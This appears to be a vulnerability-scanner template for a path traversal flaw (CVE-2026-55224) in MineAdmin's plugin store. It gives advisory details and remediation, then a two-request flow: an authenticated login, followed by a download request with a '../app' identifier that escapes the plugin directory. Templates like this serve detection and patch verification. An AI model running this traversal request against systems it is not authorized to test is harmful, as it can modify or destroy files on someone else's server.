MineAdmin < 3.2.0-alpha.2 - Plugin Path Traversal to RCE

id: CVE-2026-55224

info:
  name: MineAdmin < 3.2.0-alpha.2 - Plugin Path Traversal to RCE
  author: afanti
  severity: high
  description: |
    MineAdmin versions before 3.2.0-alpha.2 contain a path traversal vulnerability in the app-store plugin service. The identifier parameter is concatenated into filesystem paths without sanitization.
  impact: |
    Authenticated users can escape the plugin directory to read or manipulate arbitrary files/directories.
  remediation: |
    Upgrade MineAdmin to version 3.2.0-alpha.2 or later.
  reference:
    - https://github.com/advisories/GHSA-59xm-4m8c-g3xj
    - https://github.com/mineadmin/MineAdmin/pull/728
    - https://nvd.nist.gov/vuln/detail/CVE-2026-55224
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-55224
    epss-score: 0.01372
    epss-percentile: 0.72178
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: mineadmin
    product: mineadmin
    shodan-query: http.html:"MineAdmin"
    fofa-query: body="MineAdmin"
  tags: cve,cve2026,mineadmin,path-traversal,rce,default-login

variables:
  username:
  password:
  token: ""

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /admin/passport/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json

        {"username":"{{username}}","password":"{{password}}"}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/json")
        condition: and
        internal: true

    extractors:
      - type: json
        name: token
        part: body
        json:
          - '.data.access_token'
        internal: true

  - raw:
      - |
        POST /admin/plugin/store/download HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json
        Authorization: Bearer {{token}}

        {"identifier":"../app","version":"1.0.0"}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "result", "true")
          - '!contains(body, "params_fail")'
        condition: and